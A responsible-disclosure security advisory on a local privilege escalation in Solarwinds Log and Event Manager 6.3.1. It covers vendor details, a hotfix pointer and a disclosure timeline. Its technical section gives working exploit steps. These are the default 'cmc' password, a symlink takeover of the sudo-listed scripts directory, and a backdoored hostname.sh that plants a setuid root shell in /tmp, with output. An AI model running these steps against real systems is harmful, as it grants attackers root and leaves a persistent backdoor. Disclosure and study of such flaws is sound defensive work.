Solarwinds LEM 6.3.1 Sudo Privilege Escalation

`KL-001-2017-005 : Solarwinds LEM Privilege Escalation via Controlled Sudo Path  
  
Title: Solarwinds LEM Privilege Escalation via Controlled Sudo Path  
Advisory ID: KL-001-2017-005  
Publication Date: 2017.04.24  
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-005.txt  
  
  
1. Vulnerability Details  
  
Affected Vendor: Solarwinds  
Affected Product: Log and Event Manager Virtual Appliance  
Affected Version: v6.3.1  
Platform: Embedded Linux  
CWE Classification: CWE-281: Improper Preservation of Permissions,  
CWE-708: Incorrect Ownership Assignment  
Impact: Privileged Access  
Attack vector: SSH  
  
2. Vulnerability Description  
  
Due to lax filesystem permissions, an attacker can take control  
of a hardcoded sudo path in order to execute commands as a  
privileged user.  
  
3. Technical Description  
  
Should an attacker gain access to the SSH console for the  
cmc user, root access to the underlying operating system can be  
achieved. The default password for the cmc user is "password".  
  
Due to underlying filesystem permissions, it is possible  
for the cmc user to assume control of a path hardcoded in  
the sudoers file. The attack is started by moving the scripts  
directory and creating a symlink to a (now) attacker controlled  
scripts directory.  
  
cmc@swi-lem:/usr/local/contego$ mv scripts scripts.real && mkdir scripts && cd scripts.real && for A in * ; do ln  
-s ../scripts.real/${A} ../scripts/${A} ; done  
  
Next, a file specified in the sudoers file is overwritten and  
then executed using sudo.  
  
cmc@swi-lem:/usr/local/contego/scripts$ diff -u hostname.sh hostname.sh.backdoor  
--- hostname.sh 2005-07-01 20:10:17.000000000 -0700  
+++ hostname.sh.backdoor 2016-12-11 12:20:35.000000000 -0800  
@@ -1,5 +1,10 @@  
#!/bin/sh  
+# create a backdoor setuid shell  
+cp /bin/dash /tmp/sushi  
+chown root:root /tmp/sushi  
+chmod 4755 /tmp/sushi  
+  
[snip]  
cmc@swi-lem:/usr/local/contego/scripts$ rm hostname.sh && mv -i hostname.sh.backdoor hostname.sh  
cmc@swi-lem:/usr/local/contego$ sudo /usr/local/contego/scripts/hostname.sh  
  
This results in a suid dash shell being output to /tmp/sushi.  
  
cmc@swi-lem:/usr/local/contego$ ls -ld /tmp/sushi  
-rwsr-xr-x 1 root root 104168 Dec 11 12:21 /tmp/sushi  
  
Running this shell results in root privileges.  
  
cmc@swi-lem:/usr/local/contego$ /tmp/sushi  
# id  
uid=1001(cmc) gid=1000(trigeo) euid=0(root)  
groups=0(root),4(adm),24(cdrom),25(floppy),104(postgres),105(snort),1000(trigeo),1002(dbadmin)  
  
4. Mitigation and Remediation Recommendation  
  
The vendor has released a Hotfix to remediate this  
vulnerability. Hotfix and installation instructions are  
available at:  
  
https://thwack.solarwinds.com/thread/111223  
  
5. Credit  
  
This vulnerability was discovered by Hank Leininger and Matt  
Bergin (@thatguylevel) of KoreLogic, Inc.  
  
6. Disclosure Timeline  
  
2017.02.16 - KoreLogic sends vulnerability report and PoC to  
Solarwinds <[email protected]> using PGP key  
with fingerprint  
A86E 0CF6 9665 0C8C 8A7C C9BA B373 8E9F 951F 918F.  
2017.02.20 - Solarwinds replies that the key is no longer in  
use, requests alternate communication channel.  
2017.02.22 - KoreLogic submits vulnerability report and PoC to  
alternate Solarwinds contact.  
2017.02.23 - Solarwinds confirms receipt of vulnerability  
report.  
2017.04.06 - 30 business days have elapsed since Solarwinds  
acknowledged receipt of vulnerability details.  
2017.04.11 - Solarwinds releases hotfix and public disclosure.  
2017.04.24 - KoreLogic public disclosure.  
  
7. Proof of Concept  
  
See 3. Technical Description  
  
  
The contents of this advisory are copyright(c) 2017  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/  
  
KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html  
  
Our public vulnerability disclosure policy is available at:  
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt  
  
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